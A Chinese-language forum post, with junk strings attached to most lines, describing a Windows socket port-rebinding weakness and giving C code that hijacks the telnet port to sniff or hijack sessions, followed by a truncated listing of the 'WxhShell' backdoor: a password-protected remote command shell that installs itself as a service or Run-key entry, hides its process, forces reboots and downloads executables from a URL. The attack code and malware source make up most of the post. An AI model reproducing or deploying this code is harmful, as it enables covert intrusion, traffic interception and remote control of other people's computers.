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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: INcg S MM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7q?9Tj3  
F|F]970  
  saddr.sin_family = AF_INET; $i&e[O7T;  
P1zKsY,l$<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rW0kA1=E  
ZZWD8 AX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cnSJ{T  
sqla}~CiX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'HT7_$?*  
P.6nA^hXB  
  这意味着什么?意味着可以进行如下的攻击: rJPb 3F  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6^%UU o%  
LL]zT H0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qgE 73.!`6  
wDcj,:h`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vK 7^*qr;j  
HqI t74+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ykv94i?Q  
2GFLnz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pR `>b 3  
6Ca(U'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C2@,BCR  
,pqGX3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `%CtWJ(e  
'=[?~0(B  
  #include 4?0vso*X<:  
  #include ">~.$Jp_4  
  #include ) u3 Zm  
  #include    .9R [ *<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .nG#co"r}3  
  int main() SPN5dE.@  
  { "vXxv'0\f  
  WORD wVersionRequested; Tg!i%v(-t  
  DWORD ret; xG}(5Tt  
  WSADATA wsaData; A{UULVp  
  BOOL val; I'PeN0T f  
  SOCKADDR_IN saddr; F_Z- 8>P  
  SOCKADDR_IN scaddr; ;} und*q  
  int err; kdCUORMK  
  SOCKET s; fYp'&Btb]x  
  SOCKET sc; D|@/yDQ  
  int caddsize; thV>j9'  
  HANDLE mt; b}0,\B%  
  DWORD tid;   6;C3RU]  
  wVersionRequested = MAKEWORD( 2, 2 ); :q=%1~Idla  
  err = WSAStartup( wVersionRequested, &wsaData ); 1v,Us5s<"6  
  if ( err != 0 ) { aD=a,  
  printf("error!WSAStartup failed!\n"); S M!Txe#  
  return -1; f-}[_Y%;  
  } N*%@  
  saddr.sin_family = AF_INET; j]*j}%hz  
   9&upu jVS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f&}k^>N#3  
+SsK21f"r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |o,8V p  
  saddr.sin_port = htons(23); +#GQ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =g/{%;  
  { kHXL8k#T  
  printf("error!socket failed!\n"); Mzsfo;kk+  
  return -1; =3q/F7-  
  } mu?Eco`~  
  val = TRUE; )p T?/ J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rrQQZ5fhb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9UKp?SIF  
  { hc~s"Atck  
  printf("error!setsockopt failed!\n"); w:s]$:MA8  
  return -1; G:<`moKgL  
  } io,M{Ib  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i-bJS6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wB.Nn/p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K) qF+Vb^j  
m<{< s T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .jS~By|r  
  { #k_HN}B  
  ret=GetLastError(); $Z|ffc1  
  printf("error!bind failed!\n"); F_Y7@Ei/  
  return -1; f` :i.Sr  
  } /J04^ 6  
  listen(s,2); ,S'p %g  
  while(1)  yyv8gH  
  { I *x[:)X8  
  caddsize = sizeof(scaddr); Jj,U RD&0R  
  //接受连接请求 G"X8}:}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R<sJ^nx  
  if(sc!=INVALID_SOCKET) t'BLVCu  
  { (7XCA,KTGI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W5?yy>S6N  
  if(mt==NULL) Vy*:ne  
  { Xv< B1  
  printf("Thread Creat Failed!\n"); uwa~-xX6  
  break; vJ\pR~?  
  } N` aF{3[  
  } a;QMA d!  
  CloseHandle(mt); rA2 g&  
  } Y|8:;u'  
  closesocket(s); BhM '@g*  
  WSACleanup(); T%6&PrQ7  
  return 0; rF aF Bd  
  }   9so6WIWc  
  DWORD WINAPI ClientThread(LPVOID lpParam) <Ard 7UT  
  { `D`sr[3n  
  SOCKET ss = (SOCKET)lpParam; [[>wB[w  
  SOCKET sc; x%+aKZ(m)  
  unsigned char buf[4096]; ?_"+^R z  
  SOCKADDR_IN saddr; j7sKsbb  
  long num; 0G7K8`a  
  DWORD val; u}!@ ,/)  
  DWORD ret; 'd+N Vj{C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MS0Fl|YA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dFH$l  
  saddr.sin_family = AF_INET; Fx5d:!]:$?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kGdt1N[  
  saddr.sin_port = htons(23); 66.5QD0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0j30LXI_  
  { T/^Hz4uA7  
  printf("error!socket failed!\n"); A81ls#is  
  return -1; U+)xu>I  
  } 3 dht!7/  
  val = 100; _<a7CCg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9uRF nzJVx  
  { BT)X8>ct  
  ret = GetLastError(); D[_|*9BC  
  return -1; -8r  
  } ~><^'j[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T:/,2.l  
  { :4MB]v[K  
  ret = GetLastError(); A,%C,*)Cg  
  return -1; Hir Fl  
  } D8>enum  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  EI_  
  { @y82L8G/  
  printf("error!socket connect failed!\n"); wY~&Q}U  
  closesocket(sc); io#&o;M<  
  closesocket(ss); UB 6mqjPK  
  return -1; K'X2dG*  
  } A5i:x$ww  
  while(1) ~zSCg|"r  
  { @+9<O0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %^1cyk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,WvY$_#xW%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <Q ?a=4  
  num = recv(ss,buf,4096,0); p/U+0f  
  if(num>0) bYi`R)  
  send(sc,buf,num,0); 2RN)<\P  
  else if(num==0) &Y 4F!Rb  
  break; hQ(qbt{e  
  num = recv(sc,buf,4096,0); 'ihhoW8  
  if(num>0) Qu} W/j|3  
  send(ss,buf,num,0); 1Wm)rXW[x  
  else if(num==0) *+uHQgn(  
  break; 3&6#F"7  
  } M/):e$S  
  closesocket(ss); ?0YCpn  
  closesocket(sc); x.3J[=z=>  
  return 0 ; lu#LCG-.  
  } ={5#fgK>  
)(tM/r4`c&  
TQ`Rk;0R  
========================================================== LJOr!rWi  
UTf9S>HS  
下边附上一个代码,,WXhSHELL #]#sGmW/L  
"TUe%o  
========================================================== Kx=4~  
G!Um,U/g  
#include "stdafx.h" 7UL qo>j  
-K rxMi  
#include <stdio.h> [Z~ 2  
#include <string.h> ithewup  
#include <windows.h> LwhyE:1  
#include <winsock2.h> )13dn]o=2  
#include <winsvc.h> 81hbk((  
#include <urlmon.h> .\8X[%K9nc  
y_HN6  
#pragma comment (lib, "Ws2_32.lib") T"&)&"W*U  
#pragma comment (lib, "urlmon.lib") FL8g5I  
- !>}_AH  
#define MAX_USER   100 // 最大客户端连接数 Ov UI@,Ef  
#define BUF_SOCK   200 // sock buffer 'yV?*a  
#define KEY_BUFF   255 // 输入 buffer b8%C *r7  
WBNw~|DO]  
#define REBOOT     0   // 重启 ^-rfvc  
#define SHUTDOWN   1   // 关机 qwK2WE%T  
MY/3] g<  
#define DEF_PORT   5000 // 监听端口 Zum0J{l h  
c-g)eV|)S  
#define REG_LEN     16   // 注册表键长度 @FC"nM  
#define SVC_LEN     80   // NT服务名长度 ' j6gG  
FJ %  
// 从dll定义API OKi\zS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vTaJqEE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $b<6y/"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =xsTDjH>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ovwQ2TuK  
GEEW?8  
// wxhshell配置信息 uA$<\fnz  
struct WSCFG { m85WA # `  
  int ws_port;         // 监听端口 ?x+Z)`w_  
  char ws_passstr[REG_LEN]; // 口令 O/.Uh`T`6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6m VuyI  
  char ws_regname[REG_LEN]; // 注册表键名 t ^[8RhD  
  char ws_svcname[REG_LEN]; // 服务名 xB@|LtdO9;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 { .*y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uP<0WCN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WHAQu]{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gqR)IVk>%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >@ YtDl8R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0<8XI>.3D  
UjOB98Du  
}; }?&k a$rI  
 Y!WG)u5  
// default Wxhshell configuration ,R$u?c0>'&  
struct WSCFG wscfg={DEF_PORT, P7 PB t  
    "xuhuanlingzhe", OiAJ[L  
    1, =1P6Vk  
    "Wxhshell", dB+N\HBY  
    "Wxhshell", avy"r$v_&  
            "WxhShell Service", -tnQCwq#  
    "Wrsky Windows CmdShell Service", _DrJVC~6@  
    "Please Input Your Password: ", =l.+,|ZH!  
  1, [HN|\afz  
  "http://www.wrsky.com/wxhshell.exe", D;I6Q1I  
  "Wxhshell.exe" "+zCS|   
    }; sP-^~ pp  
@]q BF]6  
// 消息定义模块 8scc%t7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YPzU-:3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;SwMu@tg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G[8in   
char *msg_ws_ext="\n\rExit.";  49d@!  
char *msg_ws_end="\n\rQuit."; U`o^mtW.  
char *msg_ws_boot="\n\rReboot..."; LGc&o]k  
char *msg_ws_poff="\n\rShutdown..."; ~>0qZ{3J_  
char *msg_ws_down="\n\rSave to "; Hg9CZM ko  
_BFOc>0  
char *msg_ws_err="\n\rErr!"; Dw7vv]+ S  
char *msg_ws_ok="\n\rOK!"; yQ3OL#  
&QG6!`fK}3  
char ExeFile[MAX_PATH]; VdP`a(Yd;  
int nUser = 0; i/b'4o=8  
HANDLE handles[MAX_USER]; XX1Il;1G#  
int OsIsNt; Iyd?|f"  
|ou b!fG4  
SERVICE_STATUS       serviceStatus; d*oUfiW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [>^PRs  
Q#(GI2F2#  
// 函数声明 0 a~HiIh  
int Install(void); ZhNdB  
int Uninstall(void); BS q)RV/3  
int DownloadFile(char *sURL, SOCKET wsh); GabYfUkO  
int Boot(int flag); }<PxWZ`,\  
void HideProc(void); ?:|-Dq,  
int GetOsVer(void); |v[Rp=?]  
int Wxhshell(SOCKET wsl); Qu< Bu)`  
void TalkWithClient(void *cs); T6pLoaKu  
int CmdShell(SOCKET sock); *jMk/9oa<N  
int StartFromService(void); D0mI09=GtQ  
int StartWxhshell(LPSTR lpCmdLine); v`V7OD#:j]  
l;sy0S"DO]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bm\qxQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _5MNMV LwW  
\v6 M:KR5/  
// 数据结构和表定义 l%Gw_0.?e  
SERVICE_TABLE_ENTRY DispatchTable[] = AF43$6KZP$  
{ ubu?S%`  
{wscfg.ws_svcname, NTServiceMain}, &TG5rUUg  
{NULL, NULL} 5j0{p$'9  
}; W23]Bx  
SEl#FWR  
// 自我安装 u*7Z~R  
int Install(void) kkvtB<<Y  
{ xyH/e*a  
  char svExeFile[MAX_PATH]; 8F)G7 H ,  
  HKEY key; 577:u<Yt  
  strcpy(svExeFile,ExeFile); NZN-^ >  
'cNKjL;  
// 如果是win9x系统,修改注册表设为自启动 ds[QwcV9-  
if(!OsIsNt) { $T<}y_nHl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5efxEt>U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |wox1Wt|E  
  RegCloseKey(key); 8h<ehNX ^I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $6F)R|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xsjO)))f  
  RegCloseKey(key); pPVRsXy  
  return 0; s cdtWA  
    } 7([h4bg{  
  } 0)Rw|(Fpo]  
} =2y8 CgLj  
else { \n9A^v`F/  
F8e<}v&7R  
// 如果是NT以上系统,安装为系统服务 i#X!#vyc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^MD;"A<  
if (schSCManager!=0) 8hA^`Y  
{ Fg/dS6=n`?  
  SC_HANDLE schService = CreateService wA`"\MWm  
  ( wFlvi=n/  
  schSCManager, e75UMWaeC  
  wscfg.ws_svcname, < Fs-3(V+\  
  wscfg.ws_svcdisp, _,6f#t  
  SERVICE_ALL_ACCESS, 7GZgu$'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I8H%=Kb?9  
  SERVICE_AUTO_START, IMQ]1uq0$  
  SERVICE_ERROR_NORMAL, dSIH9D  
  svExeFile, U,1AfzlF  
  NULL, /,5Z-Z*wq  
  NULL, NYABmI/0c  
  NULL, Ip}Vb6}  
  NULL, rVQX7l#YI  
  NULL rOD1_X-  
  ); _SZ5P>GIU  
  if (schService!=0) Ni*Wz*o  
  { . BO<  
  CloseServiceHandle(schService); +VEU:1Gt  
  CloseServiceHandle(schSCManager); )[&_scSa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @\(vX]  
  strcat(svExeFile,wscfg.ws_svcname); ?IX!+>.H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OlxX.wP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q\{x)|{$  
  RegCloseKey(key); &"uV~AM  
  return 0; w W$(r-  
    } ovf/;Q/}  
  } WW@"Z}?k  
  CloseServiceHandle(schSCManager); &jV_"_3n  
} ~9D~7UR  
} ^_p%Yv  
d0 er^ ~  
return 1; %up}p/?  
} ;52'}%5  
Jf:,y~mV  
// 自我卸载 km:nE: |  
int Uninstall(void) H L<s@kEZ  
{ tn/T6C^)  
  HKEY key; <XQ.A3SG!  
HTz+K6&  
if(!OsIsNt) { c\cZ]RZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MM{_Ur7Q  
  RegDeleteValue(key,wscfg.ws_regname); $2z _{@Z  
  RegCloseKey(key); X`zC ^z}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eukA[nO7G  
  RegDeleteValue(key,wscfg.ws_regname); !- ~ X?s~L  
  RegCloseKey(key); \tJFAc  
  return 0; ;n#%G^!H  
  } Aj"7q  
} OIaYHA  
} 3$M3Q]z  
else { 0?Yz]+{C  
E\2Ml@J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8{&["?  
if (schSCManager!=0) Sn3:x5H,l  
{ ^9"KTZc-*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E\)eu1Hw4B  
  if (schService!=0) Mxz,wfaH>  
  { UWG+#,1J.\  
  if(DeleteService(schService)!=0) { Kf7WcJ4b  
  CloseServiceHandle(schService); =N.!k Vkl  
  CloseServiceHandle(schSCManager); ^!: "Q3  
  return 0; MW Wu@SY  
  } Ar, 9U9  
  CloseServiceHandle(schService); va{#RnU  
  } o96:4j4  
  CloseServiceHandle(schSCManager); ?Z %:  
} <"&'>?8j  
} t Y1Et0  
&m{'nRU}c  
return 1; 8KjRCm,I  
} )3?rXsSR  
ysXx%k  
// 从指定url下载文件 : iY$82wQ  
int DownloadFile(char *sURL, SOCKET wsh) b^V'BC3  
{ PjqeE,5  
  HRESULT hr; XYbyOM VI  
char seps[]= "/"; ?{J!#`tfV  
char *token; :.IN?X  
char *file; }VRv sZ  
char myURL[MAX_PATH]; 9zKBO* p`  
char myFILE[MAX_PATH]; O+ .*lo  
/NBTvTI  
strcpy(myURL,sURL); H30OUrD  
  token=strtok(myURL,seps); @Jv# fr  
  while(token!=NULL) z%"Ai)W/{  
  { \SYvD y]  
    file=token; LPE)  
  token=strtok(NULL,seps); P2k7M(I_&  
  } CJ w$j`k  
L`K;IV%;  
GetCurrentDirectory(MAX_PATH,myFILE); f{Qp  
strcat(myFILE, "\\"); ]W9B6G_  
strcat(myFILE, file); 4~u9B/v  
  send(wsh,myFILE,strlen(myFILE),0); G!-J$@P  
send(wsh,"...",3,0); 13f<0wg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lH1g[ ))  
  if(hr==S_OK) `bP?o  
return 0; D\rmaF+  
else 2cnj@E:5l  
return 1; |4SW[>WT:  
VuWib+fT  
} }C~]=Z  
fD6GQ*  
// 系统电源模块 emWGIo  
int Boot(int flag) q.oLmX  
{ @FX{M..  
  HANDLE hToken; ju{%'D!d9  
  TOKEN_PRIVILEGES tkp; wGXwzU  
R^{xwI  
  if(OsIsNt) { cC6z,0`3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #( uj$[o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <'*4j\*  
    tkp.PrivilegeCount = 1; qZ\ L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ ^. *$E5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,/o(|sks  
if(flag==REBOOT) { sJ6a7A8)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {e9Y !oFg  
  return 0; ,YlQK;  
} ^5)_wUf  
else { B_~jA%0m'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P4%>k6X  
  return 0; f-+.;`H)T  
} ,f<B}O  
  } ^ KAG|r9  
  else { (+MC<J/i  
if(flag==REBOOT) { f)Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A'g,:8Ou  
  return 0; BED@?:U#h  
} ?aJ6ug  
else { xwLy|&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IK?]PmN4}  
  return 0; plku-O;]  
} dQ6GhS ~  
} aL )Hv k:  
|Ylg$?,9*  
return 1; )F E8D  
} 0M\NS$u(Y  
3H'*?|Y(#  
// win9x进程隐藏模块 FfXZ|o$;  
void HideProc(void) #JS`e_3Rr  
{ SsRVd^=;x  
JN^bo(kb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k/^g*  
  if ( hKernel != NULL ) _80ns&q  
  { vf_OQ4'G,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t?.\|2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u\5g3BH  
    FreeLibrary(hKernel); ,i![QXZ  
  } ?#ihJt,  
Q?]w{f(  
return; 4?]ZV_BD  
} 1 PIzV:L\  
'>]&rb09|  
// 获取操作系统版本 `]&*`9IK{  
int GetOsVer(void) }} #be  
{ dJE`9$jN  
  OSVERSIONINFO winfo; %yhI;M^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >;}]pI0T  
  GetVersionEx(&winfo); K P6PQgc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `oPLl0  
  return 1; aH^{Vv$]M@  
  else tQf!|]#J  
  return 0; j@SYXKL~  
} 4tnjXP8  
;_p fwa4  
// 客户端句柄模块 \CwtX(6.  
int Wxhshell(SOCKET wsl) j`Nh7+qs  
{ ITQ9(W Un  
  SOCKET wsh; kYtHX~@  
  struct sockaddr_in client; ,4yG(O$)  
  DWORD myID; gPp(e j7  
/.)2d8,  
  while(nUser<MAX_USER) )-)pYRlO  
{ ,5:![  
  int nSize=sizeof(client); ' 3VqkQ4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PC0HH  
  if(wsh==INVALID_SOCKET) return 1; O(Td:Zdp  
'2xcce#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wzbz }P>  
if(handles[nUser]==0) _f66>a<  
  closesocket(wsh); ?"u'#f_  
else )O -cw7 >  
  nUser++; 26}u4W$  
  } j$0zD:ppW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j`hNZ%a  
? KF=W  
  return 0; ;,v.(Z ic  
} ^f6 {0  
H.9yT\f.  
// 关闭 socket }M?|,N6  
void CloseIt(SOCKET wsh) {YBl:rMz  
{ 'DeW<Sa~  
closesocket(wsh); a>?p.!BM  
nUser--; LhZZc`|7t  
ExitThread(0); -B,cB  
} ZGzc"r(r:#  
IuDT=A  
// 客户端请求句柄 =kF? _KN  
void TalkWithClient(void *cs) qr9Imr0w<  
{ !^]q0x  
+#9xA6,AE  
  SOCKET wsh=(SOCKET)cs; {sl~2#,}b1  
  char pwd[SVC_LEN]; avV mY|I  
  char cmd[KEY_BUFF]; wn{]#n=|l  
char chr[1]; InP[yFV-z  
int i,j; ~@?"' !U  
,,Jjr[A_j  
  while (nUser < MAX_USER) { ~R'BU=!;F  
+R9%~Z.=  
if(wscfg.ws_passstr) { b24di  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wFp~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` %l&zwj>  
  //ZeroMemory(pwd,KEY_BUFF); 7x%S](m%  
      i=0; ,}n=Z  
  while(i<SVC_LEN) { {clC n  
Q|Nzbmwh  
  // 设置超时 4p?+LdL  
  fd_set FdRead; ,T/GW,?  
  struct timeval TimeOut; &+,:u*%  
  FD_ZERO(&FdRead); P:>'   
  FD_SET(wsh,&FdRead); m'3OGvd  
  TimeOut.tv_sec=8; [#7D~Lx/  
  TimeOut.tv_usec=0; F68},N>vr@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]LU4y %'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XNKtL]U}$  
g(KK9Unu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n}VbdxlN  
  pwd=chr[0]; %-\FVKX  
  if(chr[0]==0xd || chr[0]==0xa) { Y' 2-yB  
  pwd=0; kHGeCJe\{  
  break; O(WEgz  
  } mn(/E/  
  i++; FLK"|*A  
    } ?ISI[hoc  
"k/;`eAP  
  // 如果是非法用户,关闭 socket =!(S<];  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Ws5X_?d  
} AL(n *,  
i[o&z$JO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sN"p5p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /4(Z`e;0  
'lxLnX  
while(1) { }!eF  
\moZ6J  
  ZeroMemory(cmd,KEY_BUFF); !p-'t]  
2;3x,<Cg  
      // 自动支持客户端 telnet标准   f%vHx,  
  j=0; =_K%$y*  
  while(j<KEY_BUFF) { IES41y<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8y-e+  
  cmd[j]=chr[0]; ^6ExW>K  
  if(chr[0]==0xa || chr[0]==0xd) { 7z Ohyl?  
  cmd[j]=0; h_AJI\{"  
  break; #8S [z5 `  
  } A J<iM)l|  
  j++; X77A; US  
    } jM6uT'Io  
bta0? O #  
  // 下载文件 UENYJ*tnP  
  if(strstr(cmd,"http://")) { jQY >9+t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -[G/2F'  
  if(DownloadFile(cmd,wsh)) 'Na|#tPYI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (qNco8QKu3  
  else U p_>y>x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ngn\nkf  
  } 7^n,Ti g  
  else { &*X3c h  
(PRaiE  
    switch(cmd[0]) { s4!|v`+$M  
  nrxjN(9V%+  
  // 帮助 #&;m<%  
  case '?': { E6,`Ld;c[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OJnPP>  
    break; -OHvK0~  
  } pI'8>_o  
  // 安装 ;5&k/CB1  
  case 'i': { '=KuJ0`nE9  
    if(Install()) Wpiv1GZ%c8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /E=h{|  
    else jXc5fXO N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d,Hf-zJ%~  
    break; j4.Qvj >:4  
    } $I?=.:<+  
  // 卸载 V`WI"HO+  
  case 'r': { gn-=##fT:i  
    if(Uninstall()) ?q+8 /2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4U}.Skzq  
    else cRs{=RGc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c.|sW2/  
    break; 8Uj68Jl?  
    } ^G ]KE8  
  // 显示 wxhshell 所在路径 M>`?m L  
  case 'p': { DR.3 J`?K  
    char svExeFile[MAX_PATH]; nEjo,   
    strcpy(svExeFile,"\n\r"); aL_;`@4  
      strcat(svExeFile,ExeFile); $#6 Fnhh}  
        send(wsh,svExeFile,strlen(svExeFile),0); /ig^7+#  
    break; u!=]zW%  
    } >=.ch5h3J)  
  // 重启 ?K= gg<  
  case 'b': { GM34-GH+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \#h})`  
    if(Boot(REBOOT)) `D&#U'wB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bbn832iMUY  
    else { #o(?g-3  
    closesocket(wsh); *!-}lc^4  
    ExitThread(0); fJSV)\e0  
    } fS;m+D!j@  
    break; 842Mydom  
    } n?TO!5RZK  
  // 关机 {Sd@u$&  
  case 'd': { mSVX4XW<  
